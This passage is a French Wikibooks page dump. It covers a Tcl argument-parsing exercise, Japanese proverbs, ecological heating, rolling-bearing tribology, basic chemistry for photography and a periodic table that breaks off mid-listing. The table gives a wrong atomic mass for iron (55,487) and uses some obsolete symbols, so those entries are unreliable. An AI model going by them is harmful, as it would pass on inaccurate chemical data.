-f argument 1 : test argument 2 : -level argument 3 : 3 argv0 : ./args.tcl </pre> Vous allez créer une machine à état. Le passage d'un état à un autre se fait lorsque l'on passe à l'argument suivant. L'état de base de cette machine est : * check_args : attente d'un argument type -f, -l ou -h. De cet état, vous allez sauter à l'état suivant lors du test de l'argument suivant, en fonction de la valeur de arg. Si arg est à -f*, alors vous sautez dans l'état ''is_file'', et vous initialisez filename avec $arg. Au passage, vous initialisez le drapeau correspondant à la présence du nom de fichier sur la ligne de commande à 1. Il faut ensuite revenir à l'état check_arg. Il vous reste juste à prévoir les états correspondants pour ''help'' et pour ''level'' et à les gérer de même. Bon courage. Merci de ne pas oublier le guide à la fin de la visite. A votre bon coeur monsieur dame. Japonais:Proverbes 5213 26729 2005-12-12T16:32:37Z 80.65.227.84 Retour à la [[Table des matières (Japonais)|table des matières]]. Les proverbes japonais (諺 = Kotowaza) sont connues a travers le monde entier, ils sont en général assez courts et difficile à traduire. <font size=+2 color="brown">A</font><br /> :あまり物には福がある :Amarimono niha fuku ga aru :''Le bonheur se cache dans les restes.'' <font size=+2 color="brown">E</font><br /> :蝦で鯛を釣る :Ebi de tai wo tsuru :''En donnant sans arrière-pensée, on peut recevoir bien plus.'' (lit., Avec une crevette on peut pêcher un bon poisson) <font size=+2 color="brown">H</font><br /> :人の振り見てわが振り直せ :Hito no furimite wagafurinaose :''Apprend la sagesse dans la sottise des autres.'' (lit., Corrige-toi en regardant les autres) <font size=+2 color="brown">I</font><br /> :一期一会 :Ichigo ichie :''Toute rencontre est importante, car elle est peut-être unique.'' (lit., Une fois, une rencontre) :犬も歩けば棒に当たる :Inu mo arukeba bou ni ataru :''Le bonheur sourit à ceux qui agissent'' (lit., Même les chiens, s'ils marchent, se cognent au bâton) :一石二鳥 :Isseki nichô :''Faire d'une pierre deux coups.'' (lit., Une pierre, deux oiseaux) :言わぬが花 :Iwanu ga hana :''Les mots qu'on n'a pas prononcés sont les fleurs du silence.'' <font size=+2 color="brown">K</font><br /> :果報は寝て待て :Kahou ha nete mate :''Si tu as fait le maximum, tu n'as plus qu'à attendre tranquillement'' (lit., Attend la bonne nouvelle en dormant) :聞くは一時の恥聞かぬは一生の恥 :Kiku ha ittoki no haji kikanu ha isshô no haji :''Demander ne coûte qu'un instant d'embarras. Ne pas demander, c'est être embarrassé toute sa vie.'' <font size=+2 color="brown">O</font><br /> :思い立ったが吉日 :Omoitatta ga kichijitsu :''N'attend pas pour faire ce que tu as decidé'' (lit., Le bon jour pour faire quelque chose, c'est le jour où on l'a decidé) :女心と秋の空 :Onnagokoro to akinosora :''Le cœur des femmes ressemble au ciel d'automne, car capricieux.'' (lit., Le cœur des femmes et le ciel d'automne) <font size=+2 color="brown">T</font><br /> :旅は道連れ :Tabi ha michidure :''Aucune route n'est longue aux côtés d'un ami.'' :棚から牡丹餅 :Tana kara botamochi :''La chance sourit même à ceux qui ne l'attendent pas.'' (lit., Les gâteaux tombent de l'étagère) <font size=+2 color="brown">W</font><br /> :笑う門には福来る :Warau kado niha fuku kitaru :''Le bonheur va vers ceux qui savent rire.'' <font size=+2 color="brown">A classer...</font><br /> :? :''Apprend la sagesse dans la sottise des autres.'' :? :''Il suffit parfois d'une heure pour acquérir une réputation qui dure mille ans.'' :? :''L'absent s'éloigne chaque jour.'' :? :''La femme infidèle a des remords; la femme fidèle a des regrets.'' :? :''La louange est le commencement du blâme.'' :? :''La grenouille dans le puits ne voit jamais l'océan..'' :? :''L'amour d'un père est plus haut que la montagne.'' :? :''L'amour d'une mère est plus profond que l'océan.'' :? :''La vie est une bougie dans le vent.'' :? :''Le malheur peut être un pont vers le bonheur.'' :? :''Le miroir est l'âme de la femme comme le sabre est l'âme du guerrier.'' :? :''Les généraux triomphent, les soldats tombent.'' :? :''On apprend peu par la victoire, mais beaucoup par la défaite.'' :? :''S'il travaille pour toi, tu travailles pour lui.'' :? :''Si tu crois tout ce que tu lis, tu ferais mieux de ne pas lire.'' :? :''La mort est une plume, le devoir une montagne.'' :? :''L'espace d'une vie est le même qu'on le passe en chantant ou en pleurant.'' :? :''Même un chemin de mille lieues commence par un pas.'' :? :''Quand le caractère d'un homme te semble indéchiffrable regarde ses amis.'' :? :''Après trois ans, même un malheur peut servir à quelque chose.'' :? :''Ne pas perdre patience, même si cela semble impossible c'est déjà de la patience.'' :? :''Dire adieu au monde misérable, être assis sur un lotus, c'est un rêve de celui qui aime.'' :? :''L'eau prend toujours la forme du vase.'' :? :''L'homme est le pin, la femme est la glycine.'' :Note: Les glycines s'enroulent autour des pins :? :''Trop est pire que peu..'' ==Voir aussi== *[[Wikiquote:fr:Proverbes japonais|Les proverbes dans WikiCitations]] *[[Wikipedia:fr:Proverbes japonais|Les proverbes dans Wikipedia]] [[catégorie:Culture japonaise]] 寄らば大樹の蔭 Romanji : YoRaBa TaiJu No Kage Traduction littérale : S’il faut avoir recours, autant compter sur l’ombre d’un grand arbre. Catégorie:Culture japonaise 5214 20776 2005-09-07T12:50:27Z Duarna 465 création Cette catégorie regroupe les pages ayant un rapport direct avec la culture japonaise mais apportant quand même un contenu éducatif en accord avec WikiLivre . Japonais:Introduction à la grammaire 5220 29486 2006-01-20T14:30:41Z 134.21.47.142 Retour à la [[Table des matières (Japonais)|table des matières]]. La grammaire du japonais est très différente par rapport au français, mais pas plus compliquée. Voir ci-dessous les différents points. {{Grammaire Japonaise}} [[catégorie:Grammaire Japonaise]] Habitation éconologique: chauffage 5221 39189 2006-03-29T13:56:31Z 70.53.186.158 /* Chauffage solaire */ * [[Habitation éconologique]] Même avec une habitation particulièrement bien isolée, vous aurez besoin de chauffage l'hiver. Pour cela, différents systèmes plus ou moins écologiques existent. ==== Chauffage solaire ==== Le chauffage solaire est le système de chauffage le plus écologique. Effectivement il ne produit pas de CO2 et même sa construction ne demande pas beaucoup d'énergie et vous pourrez le construire vous même. ==== Chauffage au bois ==== Le chauffage au bois peut s'avérer très avantageux aussi bien d'un point de vue écologique qu'économique. Effectivement, le bois est économique et tout ce que vous rejetez dans l'atmosphère sera absorbé par ce qui repoussera à la place. Ceci permet d'ailleurs un entretien et une bonne santé des forêts. C'est plus avantageux d'être à la campagne pour éviter le transport du bois mais même en ville on peut se trouver à proximité de sources d'approvisionnement. Une vaste panoplie de systèmes existe, de la cheminée traditionnelle, à la chaudière à particules avec chargement automatique aussi simple que le fioul ou le gaz. ===== Approvisionnement ===== On peut distinguer 2 types principaux d'approvisionnement : - des bûches de bois : c'est la méthode la plus ancienne, mais elle est contraignante car il faut couper le bois, le fendre, le faire sècher avant de le brûler. Il faut alimenter aussi manuellement la chaudière. - les bouchons de bois : nouvelle technique où les branches et les billes de l'arbres sont déchiquetées en sciure puis compactée pour faire des bouchons. L'alimentation de la chaudière est automatique. Il existe aussi des chaudières qui brûlent les écorces de bois. ===== Chaudière ===== ===== Poêle ===== ===== Cheminée ===== Le rendement du chauffage reste réduit pour les cheminées ouvertes. On utilise plus souvent des foyers inserts qui tiennent mieux le feu et diffusent mieux la chaleur. Cependant, il ne faut pas négliger les désagrément qu'une cheminée occasionne à l'utilisation ( poussière lors de la manipulation des bûches, poussières brûlées qui se déposent sur les murs et s'incrustent..) Il reste que ce type de foyer fournit une chaleur très agréable et, économique lorsque l'on peut débiter le bois soi-même et le transporter depuis la forêt jusqu'à la cheminée. ==== Pompes à chaleur ==== Les pompes à chaleurs, sont souvent électriques et donc ne sont pas réellement écologique au sens strict, cependant elles permettent tout de même de diviser par 5 la consommation d'énergie. Elles peuvent aussi servir de climatisation l'été la le rendement énergétique est bien moindre. Il vaut mieux se servir de climatisations solaires ou de puits canadiens. ==Lien externe== *Vous pourrez aussi trouver plus d'info sur l'énergie en générale sur: http://econologie.com. * Vous aurez plus d'infos sur les bio-énergies ici: http://www.itebe.org/ * Pour étudier vos besoins et le dimensionnement nécessaire vous pourrez consulter cet excellent site: http://perso.wanadoo.fr/herve.silve/solaire.htm. * [[Habitation éconologique]] Habitation éconologique-chauffage 5222 20836 2005-09-09T21:07:16Z NonoLeRobot 401 Habitation éconologique-chauffage déplacé vers Habitation éconologique: chauffage: plus clair #redirect [[Habitation éconologique: chauffage]] Français en classe de sixième 5223 24028 2005-10-23T13:32:03Z 81.248.78.167 /* Lecture */ {{enTravaux}} Ce livre a pour but d'être un livre de classe correspondant au programme français des cours de français pour les sixièmes (enfant de 11-12 ans). ==Programme== ===Lecture=== *Textes issus de l’héritage antique *Conte *Littérature de jeunesse *La fable ===Écriture=== ===Oral=== ==Séquence sur la communication== ==Séquence sur les contes== Tribologie - Guidage par roulement 5226 39969 2006-04-11T10:19:04Z Jean-Jacques MILAN 114 /* Charge statique de base Co */ {{Tribologie}} '''nota :''' {{ébauche}} [[ Image:Roulement dessin de Leonard de Vinci.jpg|thumb|Un schéma de roulement par Léonard de Vinci]] Entre les deux guerres mondiales, dans le lac Nemi, en Italie, deux épaves de vaisseaux datant du début de l'Empire romain ont été repêchées. On y a retrouvé plusieurs roulements à billes ou à rouleaux en bois et en métal. Leur utilisation n'a pas été expliquée à ce jour. Léonard de Vinci nous a laissé un certain nombre de dessins de roulements, nous en retrouverons quelques-uns dans le chapitre spécialisé. Richard Stribeck et John Goodman sont, avec Hertz, les pères des roulements modernes. Signalons que les premiers roulements que l'on puisse considérer comme de véritables composants industriels ont été montés sur des bicyclettes. Le nom d'un Français, Suriray, et la date de 1870, ont été retenus par certains chroniqueurs, mais ces éléments sont plus ou moins controversés. == Charge dynamique de base C == La charge dynamique de base '''C''' d'une série de roulements identiques est la charge radiale (ou axiale pour les butées) de direction et d'intensité constantes que peuvent supporter 90 % des roulement du groupe pendant un million de tours, dans des conditions normalisées, sans qu'apparaissent les premiers signes d'écaillage. Il s'agit évidemment d'une notion statistique. En pratique cette valeur peut être calculée par une formule définie par l'ISO, à partir du nombre et des dimensions des éléments roulants et des bagues. D'autres facteurs peuvent être pris en considération pour affiner les résultats. La charge dynamique de base n'est pas la plus forte charge qu'un roulement peut supporter. On fixe parfois, très approximativement, trois domaines de charge applicables au fonctionnement des roulements ; P est ici la charge équivalente appliquée au roulement : * charges légères : P < 0,06 C * charges moyennes : 0,06 C < P < 0,12 C * charges fortes : P > 0,12 C == Charge statique de base Co == Elle correspond à la charge qui produit, à l'arrêt ou pour de très petites oscillations, des déformations permanentes des bagues et/ou des éléments roulants incompatibles avec un fonctionnement normal. En pratique, la plupart des fabricants admettent comme limite la charge qui provoque des déformations cumulées égales à 1/10000e du diamètre des éléments roulants. Toutefois, cette manière de faire est aujourd'hui fortement remise en question. == Charge optimale == Dans la plupart des applications industrielles, un roulement qui supporte entre 6 et 12 % de sa capacité de charge dynamique est considéré comme normalement chargé. Pour les roulements sollicités radialement et correctement montés, la zone de chargement atteint alors un angle de 120 à 150°. Paradoxalement, des charges insuffisantes peuvent entraîner la destruction prématurée des roulements. L'étude de l'état des surfaces montre alors souvent que la zone de chargement n'atteint que 90° ou moins encore. Dans ces conditions, les efforts sont supportés par un nombre très faible d'éléments roulants, ce qui est défavorable pour le fonctionnement car il en résulte des vibrations importantes et, le plus souvent, un bruit de fonctionnement anormal. Par ailleurs, des charges trop faibles, un lubrifiant trop visqueux et des vitesses importantes peuvent faire que les éléments roulants glissent au lieu de rouler, ce qui finit généralement par engendrer un grippage. On cite le cas certaines machines de papeteries, ou de ventilateurs, dont les roulements à rotule sur rouleaux devaient être remplacés tous les trois mois. Le remède a consisté tout simplement à les remplacer par des roulements à billes. L'augmentation relative des charges et la possibilité de diminuer la viscosité du lubrifiant (il faut au moins 20 cSt pour les roulements à rouleaux mais seulement 13 cSt pour les roulements à billes) suppriment tout risque de glissement. Par ailleurs, la température de fonctionnement diminue. == Vitesse limite == Sa détermination n'est pour l'instant régie par aucune norme, chaque fabricant mettant en œuvre ses propres méthodes d'évaluation. En pratique, outre les effets des forces dynamiques liées à l'inertie des pièces en mouvement, c'est souvent l'équilibre thermique qui prévaut. Lorsque le flux de chaleur produit dans le roulement est égal au flux qui se dissipe par refroidissement, la température se stabilise à une valeur plus ou moins élevée. La vitesse limite est donc plus faible pour les roulements lubrifiés à la graisse que pour ceux qui sont lubrifiés à l'huile. La présence d'une étanchéité intégrée, forcément génératrice de frottements, abaisse la valeur. La vitesse limite dépend du type de roulement, de la nature de la cage, de la géométrie interne, de la lubrification, de l'étanchéité, de la valeur des charges appliquées, de la précision du roulement et de son montage. == Les cages == Outre ses bagues intérieure et extérieure et ses éléments roulants, un roulement comporte presque toujours un autre élément dont on parle moins mais qui joue pourtant un rôle essentiel : la cage qui assure la mise en position des billes, des rouleaux ou des aiguilles. Elle est toujours guidée et entraînée par les autres parties du roulement. Les roulements les plus courants sont très souvent munis de cages embouties en tôle d'acier ou parfois de laiton. On trouve aussi assez fréquemment des cages moulées par injecton en polyamide renforcé ou non de fibres de verre. Les gros roulements possèdent des cages usinées en acier, en laiton à haute résistance, plus rarement en fonte ductile ou en alliage d'aluminium. On retrouve principalement trois grandes catégories de matériaux adaptés à la fabrication des cages de roulements : * Les cages en acier embouti ou usiné sont les plus répandues. Elles ont pour avantages un coût modéré, une excellente solidité, et une bonne résistance aux lubrifiants et aux élévations de température. Les inconvénients sont l'absence totale de propriétés autolubrifiantes, un frottement plus élevé qu'avec les autres matériaux, un fonctionnement parfois bruyant et un risque de corrosion. * Les cages en résine phénolique ou en nylon sont faciles à fabriquer, leur coût est faible, elles possèdent des propriétés autolubrifiantes qui diminuent les frottements internes au roulement. Elles résistent généralement bien à la corrosion et procurent un fonctionnement silencieux grâce à leur capaciter d'amortir les vibrations. Il faut toutefois les utiliser avec prudence en raison de réactions possibles avec les additifs qui entrent dans la composition des lubrifiants et d'une température limite d'utilisation plus basse. * Les cages en laiton sont plus solides que les cages en matière plastique, elles possèdent des qualités autolubrifiantes intéressantes et résistent généralement bien à la corrosion et aux élévations de température. Ce sont aussi les plus chères. == Lubrification des roulements == Contrairement à une idée fausse mais bien ancrée dans les esprits, le but premier de la lubrification des roulements n'est pas de réduire les frottements ; il faut avant tout que le lubrifiant crée à la surface des pièces (corps roulants, pistes et cages) des films adhérents très solides, interdisant tout contact métal contre métal, pour éviter le '''[[Tribologie - Usure des surfaces|grippage]]'''. Un excès de lubrifiant, d'ailleurs, produit généralement une augmentation des frottements et un échauffement qui peut être très préjudiciable à la durée de vie du composant. Parmi les rôles secondaires on peut noter aussi l'évacuation des calories et la protection contre la corrosion. On utilise principalement des graisses et des huiles, éventuellement chargées en lubrifiants secs tels que le graphite ou le bisulfure de molybdène. La '''[[Tribologie_-_Lubrifiants_pâteux|graisse]]''' rend les roulements plus ou moins étanches et généralement, elle les protège de l'entrée de produits contaminants ; c'est toutefois une « arme à double tranchant » car en cas de contamination, comme la graisse ne circule pas, les contaminants sont maintenus à l'intérieur du roulement et peuvent y exercer leurs nuisances. Dans certains cas, les graisses peuvent aussi attirer des produits contaminants comme la vapeur d'eau qui, en se condensant, peut avoir un effet particulièrement néfaste. L''''[[Tribologie_-_Lubrifiants_liquides|huile]]''' a l'avantage de pouvoir circuler, ce qui favorise l'élimination des calories et surtout des débris d'usure. Il faut toutefois veiller à ce qu'elle soit convenablement filtrée, faute de quoi elle peut introduire des polluants dans les roulements. Sa viscosité doit être d'autant plus faible que la vitesse de rotation est plus élevée et d'autant plus forte que la température d'utilisation s'élève. Généralement, la mise en œuvre et la maintenance d'une lubrification à l'huile sont plus coûteuses que celles d'une lubrification à la graisse. La graisse est donc le lubrifiant le plus commode et le plus utilisé. Il est nécessaire de consulter les fiches techniques des fournisseurs pour choisir la formulation la mieux adaptée à telle ou telle usage. Les caractéristiques des graisses diffèrent en effet d'un fabricant à l'autre, elles sont principalement données par celles des huiles de base qui peuvent être minérales ou synthétiques (huiles diester, silicone ou fluorocarbone, par exemple). En général, les graisses avec une huile peu visqueuse sont adaptées aux applications à basse température et haute vitesse, tandis que les graisses avec huile de base à haute viscosité sont adaptées aux applications à forte charge. Les épaississants les plus utilisés sont des savons métalliques au lithium, au sodium, et au calcium. On trouve aussi des épaississants non organiques comme le gel de silicium, la bentonite et des épaississants organiques tels que les polyurées et le carbone fluoré. Les graisses au savon de sodium résistent très peu à l'eau, alors que les graisses avec épaississant non métallique tel que les polyurées ou la bentonite sont idéales pour des températures de fonctionnement plus fortes. La consistance est déterminée par la proportion d'épaississant présent dans la graisse et par la viscosité de l'huile de base. Pour les roulements, on utilise le plus souvent des grades 0, 1, 2, 3 définis par le NLGI (National Lubricating Grease Institute). Plus le grade est élevé, plus la consistance est forte. 0. graissage centralisé 1. graissage centralisé 2. usage général, roulements protégés ou étanches 3. usage général, axe vertical. Les graisses ayant des huiles de base ou des épaississants de natures ou de marques différentes ne devraient pas, en principe, être mélangées. Les graisses au lithium sont celles que l'on recommande le plus généralement pour la lubrification des roulements. De nouvelles familles de constituants à base de lithium ont été récemment mises sur le marché, dans les graisses Shell Retinax LX par exemple, en vue d'améliorer à la fois la résistance aux températures élevées, la protection des surfaces contre la corrosion en milieu humide et les effets des vibrations. On les recommande pour de nombreux usages, en particulier pour la lubrification des roulements des roues de poids lourds. Notons que pour certaines applications il existe des roulements réalisés dans des matériaux ne nécessitant aucune lubrification, comme certains polymères (Igus). == Étanchéité == Il est nécessaire de prévoir une étanchéité parfaite afin d'empêcher la pénétration de corps étrangers (poussière, eau, contaminants divers ...) dans le roulement et d'éviter les fuites de lubrifiant. Les systèmes d'étanchéité (flasques, joints à lèvres) sont communément intégrés aux roulements à billes « rigides » et à quelques autres sortes de roulements. Il n'en est généralement pas de même pour les systèmes qui se séparent en plusieurs parties, comme les roulements à rouleaux coniques, ou ceux dont les divers éléments s'orientent les uns par rapport aux autres, comme les roulements à rotule sur rouleaux ; il faut alors avoir recours à des dispositifs d'étanchéité extérieurs dont la fiabilité laisse parfois à désirer, ce qui entraîne des dégradations anormales et des arrêts de production dans les installations industrielles. La société NTN a mis sur le marché depuis quelques mois des roulements à rotule sur rouleaux scellés qui peuvent résoudre ce problème. Ces roulements ont des dimensions équivalentes aux systèmes classiques et peuvent donc se substituer dans de nombreux cas à l'existant, sans modification. Photographie - 02 - Notions fondamentales de chimie 5227 32169 2006-02-09T11:00:45Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_02}} == Introduction == Dès notre naissance, nous découvrons que le monde qui nous entoure est formé de matières très diverses et que ces matières peuvent se transformer sous les effets conjugués ou non de la chaleur, de la lumière, du temps, des forces mécaniques, des bactéries, etc. Notre expérience nous permet également de comprendre très vite que toutes ces transformations ne sont pas de même nature. La matière peut subir toute une gamme de '''transformations physiques''' à l'issue desquelles elle garde les mêmes propriétés physiques essentielles. C'est ce qui se passe, par exemple, lorsqu'un objet est simplement déplacé. Si nous coupons en deux un morceau de fromage, nous obtenons deux morceaux de fromage, plus petits certes, mais dont la nature ne fait aucun doute. L'eau congelée ou évaporée change d'état mais peut revenir à son état initial, sans aucune altération, par fusion de la glace ou par condensation de la vapeur. En revanche, si une matière subit des '''transformations chimiques''', les substances qui la constituent changent de nature. Une pomme de terre cuite n'a plus les mêmes propriétés qu'une pomme de terre crue, un morceau de fromage digéré n'est plus du fromage, une forêt brûlée n'est plus une forêt ... Longtemps, les alchimistes ont étudié ces transformations, multiplié les découvertes importantes et cherché, sans savoir que cette quête était vaine, la pierre philosophale qui devait leur permettre de transformer en or le plomb ou d'autres matériaux de faible valeur. Comment se produit une transformation chimique ? L´explication réside toujours dans le fait que les atomes qui constituent la matière se lient les uns aux autres de diverses manières et que toute modification de ces liaisons provoque l'apparition de nouvelles substances. La chimie étudie, avec l'aide d'autres sciences, les manières dont les atomes réagissent et se combinent les uns avec les autres. == Naissance de la chimie moderne == La chimie moderne est née avec l'énoncé par Lavoisier du '''principe de conservation de la masse''' : la quantité de matière contenue dans un système chimique reste constante, quelles que soient les transformations dont ce système peut être le siège. <gallery> Image:Antoine lavoisier.jpg|[[w:fr:Antoine Laurent de Lavoisier|Antoine Laurent de Lavoisier]] (1743-1794) Image:David - Portrait of Monsieur Lavoisier and His Wife.jpg|Portrait de Monsieur Lavoisier et de sa femme, par Jacques-Louis David Image:Amedeo Avogadro.gif|[[w:fr:Amedeo Avogadro|Lorenzo Romano Amedeo Carlo Avogadro]] (1776-1856) </gallery> == Corps simples, variétés allotropiques == On appelle '''corps simple''' un corps dont '''tous les atomes sont identiques'''. Ceux-ci peuvent être associés en nombre variable dans des molécules ou organisés en cristaux de structures différentes. L'oxygène, dont la molécule compte norma­lement deux atomes, existe aussi sous la forme d'un autre gaz, l'ozone, dont la molécule est triatomique. Le carbone cristallise sous deux formes principales très différentes, le graphite et le diamant. On dit qu'il existe plusieurs '''variétés allotropiques''' de l'oxygène et du carbone. == Corps composés == Un '''corps composé''' est caractérisé par sa molécule faite d''''un certain nombre d'atomes différents''' associés entre eux de façon invariable. Par exemple, toutes les molécules du dioxyde de carbone (ou gaz carbonique) comportent un atome de carbone placé entre deux atomes d'oxygène. == Éléments chimiques == Les propriétés du graphite, du diamant ou du dioxyde de carbone sont assurément fort différentes. Cependant ces corps contiennent tous trois uniquement des atomes de carbone. On peut transformer le diamant en graphite ou inversement (c'est beaucoup plus difficile !), et combiner le carbone sous l'une ou l'autre de ses deux formes avec l'oxygène, en le faisant brûler, ce qui donne du dioxyde de carbone. Le graphite, le diamant et le dioxyde de carbone contiennent tous trois l''''élément chimique''' carbone, caractérisé par son atome et par conséquent par son '''numéro atomique'''. == Corps purs, pureté chimique == S'il pouvait exister, un '''corps pur''' ne rassemblerait que des atomes ou des molécules parfaitement identiques. En réalité, tous les produits disponibles sont plus ou moins souillés d'espèces indésirables. La notion de '''pureté chimique''' d'un produit est relative à l'emploi que l'on veut en faire. Ainsi, les produits chimiques du commerce sont classés en plusieurs catégories (techniques, pour analyses, etc.) selon des normes précises. == Masse atomique, masse moléculaire, mole == Il est évidemment impossible de travailler sur des quantités de matière aussi petites que les atomes ou les molécules. On appelle par convention '''masse atomique''' ou '''masse moléculaire''' (plus simplement '''masse molaire''') d'un corps la masse d'un atome-gramme ou d'une molécule-gramme (ou '''mole''') de ce corps, quantité composée d'un nombre N = 6,023.10<sup>23</sup> atomes ou molécules. Ce nombre énorme, dit nombre d'Avogadro, a été calculé après que l'on a fixé à 16 la masse atomique de l'oxygène. Il représente à peu près le rapport de la surface totale de la Terre à celle d'un minuscule carré de 0,01 mm de côté ! En partant d'une masse atomique de référence (actuellement celle de l'isotope 12 du carbone), on peut calculer celle de n'importe quel autre élément. '''La mole est désormais l'unité de quantité de matière'''. == Notation chimique == La '''notation chimique symbolique''' sous-entend que l'on raisonne sur des atomes-gramme ou des moles. Une mole d'oxygène gazeux sera notée O<sub>2</sub>, ce qui signifie tout à la fois que la molécule d'oxygène est diatomique et que l'on considère deux atomes-gramme de ce corps, soit 32 g. == Ions == Les '''ions''' (du grec ''iôn'' : « qui va ») sont des atomes ou des groupes d'atomes qui ont gagné ou perdu un ou plusieurs électrons et portent donc une ou plusieurs charges électriques élémentaires. L'existence d'ions au sein d'un système chimique en équilibre ne peut se concevoir que s'il s'y trouve aussi d'autres ions de charge contraire, de sorte que l'ensemble soit électriquement neutre. {{Photo_02}} Photographie - 02 - Éléments chimiques 5228 32171 2006-02-09T11:04:22Z Jean-Jacques MILAN 114 ajout d'un modèle {{Photographie}} {{Photo_02}} == Liste numérique des éléments chimiques == {| border="1" cellspacing="0" cellpadding="3" |- |'''N°''' |'''symbole''' |'''élément''' |'''masse atomique''' |...... |'''N°''' |'''symbole''' |'''élément''' |'''masse atomique''' |- |1 |H |Hydrogène |1,008 | |54 |Xe |Xénon |131,3 |- |2 |He |Hélium |4,003 | |55 |Cs |Césium |132,905 |- |3 |Li |Lithium |6,939 | |56 |Ba |Baryum |137,34 |- |4 |Be |Béryllium |9,012 | |57 |La |Lanthane |138,91 |- |5 |B |Bore |10,811 | |58 |Ce |Cérium |140,12 |- |6 |C |Carbone |12,011 | |59 |Pr |Praséodyme |140,907 |- |7 |N |Azote |14,006 | |60 |Nd |Néodyme |144,24 |- |8 |O |Oxygène |15,999 | |61 |Pm |Prométhium |{145} |- |9 |F |Fluor |18,998 | |62 |Sm |Samarium |150,35 |- |10 |Ne |Néon |20,183 | |63 |Eu |Europium |151,96 |- |11 |Na |Sodium |22,99 | |64 |Gd |Gadolinium |157,25 |- |12 |Mg |Magnésium |24,312 | |65 |Tb |Terbium |158,924 |- |13 |Al |Aluminium |26,981 | |66 |Dy |Dysprosium |162,5 |- |14 |Si |Silicium |28,086 | |67 |Ho |Holmium |164,93 |- |15 |P |Phosphore |30,973 | |68 |Er |Erbium |167,26 |- |16 |S |Soufre |32,064 | |69 |Tm |Thulium |168,934 |- |17 |Cl |Chlore |35,453 | |70 |Yb |Ytterbium |173,04 |- |18 |A |Argon |39,948 | |71 |Lu |Lutétium |174,97 |- |19 |K |Potassium |39,102 | |72 |Hf |Hafnium |178,49 |- |20 |Ca |Calcium |40,08 | |73 |Ta |Tantale |180,94 |- |21 |Sc |Scandium |44,956 | |74 |W |Tungstène |183,85 |- |22 |Ti |Titane |47,9 | |75 |Re |Rhénium |186,2 |- |23 |V |Vanadium |50,942 | |76 |Os |Osmium |190,2 |- |24 |Cr |Chrome |51,996 | |77 |Ir |Iridium |192,2 |- |25 |Mn |Manganèse |54,938 | |78 |Pt |Platine |195,09 |- |26 |Fe |Fer |55,487 | |79 |Au |Or |196,967 |- |27 |Co |Cobalt |58,933 | |80 |Hg |Mercure |200,59 |- |28 |Ni |Nickel |58,71 | |81 |Tl |Thallium |204,37 |- |29 |Cu |Cuivre |63,54 | |82 |Pb |Plomb |207,19 |- |30 |Zn |Zinc |65,37 | |83 |Bi |Bismuth |208,98 |- |31 |Ga |Gallium |69,72 | |84 |Po |Polonium |{210} |- |32 |Ge |Germanium |72,59 | |85 |At |Astate |{210} |- |33 |As |Arsenic |74,921 | |86 |Rn |Radon |{222} |- |34 |Se |Sélénium |78,96 | |87 |Fr |Francium |{223} |- |35 |Br |Brome |79,909 | |88 |Ra |Radium |{226,05} |- |36 |Kr |Krypton |83,8 | |89 |Ac |Actinium |{227} |- |37 |Rb |Rubidium |85,47 | |90 |Th |Thorium |232,12 |- |38 |Sr |Srontium |87,62 | |91 |Pa |Protactinium |{231} |- |39 |Y |Yttrium |88,905 | |92 |U |Uranium |238,03 |- |40 |Zr |Zirconium |91,22 | |93 |Np |Neptunium |{237} |- |41 |Nb |Niobium |92,906 | |94 |Pu |Plutonium |{244} |- |42 |Mo |Molybdène |95,94 | |95 |Am |Américium |{243} |- |43 |Tc |Technétium |98,91 | |96 |Cm |Curium |{248} |- |44 |Ru |Ruthénium |101,07 | |97 |Bk |Berkélium |{247} |- |45 |Rh |Rhodium |102,905 | |98 |Cf |Californium |{251} |- |46 |Pd |Palladium |106,4 | |99 |E |Einsteinium |{254} |- |47 |Ag |Argent |107,87 | |100 |Fm |Fermium |{253} |- |48 |Cd |Cadmium |112,4 | |101 |Mv |Mendelevium |{256} |- |49 |In |Indium |114,82 | |102 |No |Nobelium |{254} |- |50 |Sn |Étain |118,69 | |103 |Lw |Lawrencium |{255} |- |51 |Sb |Antimoine |121,75 | |104 |Rf |Rutherfordium |(261) |- |52 |Te |Tellure |127,6 | |105 |Db |Dubnium |(262) |- |53 |I |Iode |126,904 | |106 |Sg |Seaborgium |(266) |- |} Valeurs données d'après la masse de l'isotope 12 du carbone == Éléments chimiques classés par nom == {| border="1" cellpadding="3" cellspacing="0" |- | &nbsp;|| nom || symbole || numéro atomique |- | '''A''' || [[Actinium]] || Ac || 89 |- | &nbsp;|| [[Aluminium]] || Al || 13 |- | &nbsp;|| [[Américium]] || Am || 95 |- | &nbsp;|| [[Antimoine]] || Sb || 51 |- | &nbsp;|| [[Argent]] || Ag || 47 |- | &nbsp;|| [[Argon]] || Ar || 18 |- | &nbsp;|| [[Arsenic]] || As || 33 |- | &nbsp;|| [[Astate]] || At || 85 |- | &nbsp;|| [[Azote]] || N || 7 |- | '''B''' || [[Baryum]] || Ba || 56 |- | &nbsp;|| [[Berkélium]] || Bk || 97 |- | &nbsp;|| [[Béryllium]] || Be || 4 |- | &nbsp;|| [[Bismuth]] || Bi || 83 |- | &nbsp;|| [[Bore]] || B || 5 |- | &nbsp;|| [[Bohrium]] || Bh || 107 |- | &nbsp;|| [[Brome]] || Br || 35 |- | '''C''' || [[Cadmium]] || Cd || 48 |- | &nbsp;|| [[Calcium]] || Ca || 20 |- | &nbsp;|| [[Californium]] || Cf || 98 |- | &nbsp;|| [[Carbone]] || C || 6 |- | &nbsp;|| [[Cérium]] || Ce || 58 |- | &nbsp;|| [[Césium]] || Cs || 55 |- | &nbsp;|| [[Chlore]] || Cl || 17 |- | &nbsp;|| [[Chrome (chimie)|Chrome]] || Cr || 24 |- | &nbsp;|| [[Cobalt]] || Co || 27 |- | &nbsp;|| [[Cuivre]] || Cu || 29 |- | &nbsp;|| [[Curium]] || Cm || 96 |- | '''D''' || [[Darmstadtium]] || Ds || 110 |- | &nbsp;|| [[Dysprosium]] || Dy || 66 |- | &nbsp;|| [[Dubnium]] || Db || 105 |- | '''E''' || [[Einsteinium]] || Es || 99 |- | &nbsp;|| [[Erbium]] || Er || 68 |- | &nbsp;|| [[Étain]] || Sn || 50 |- | &nbsp;|| [[Europium]] || Eu || 63 |- | '''F''' || [[Fer]] || Fe || 26 |- | &nbsp;|| [[Fermium]] || Fm || 100 |- | &nbsp;|| [[Fluor]] || F || 9 |- | &nbsp;|| [[Francium]] || Fr || 87 |- | '''G''' || [[Gadolinium]] || Gd || 64 |- | &nbsp;|| [[Gallium]] || Ga || 31 |- | &nbsp;|| [[Germanium]] || Ge || 32 |- | '''H''' || [[Hafnium]] || Hf || 72 |- | &nbsp;|| [[Hassium]] || Hs || 108 |- | &nbsp;|| [[Hélium]] || He 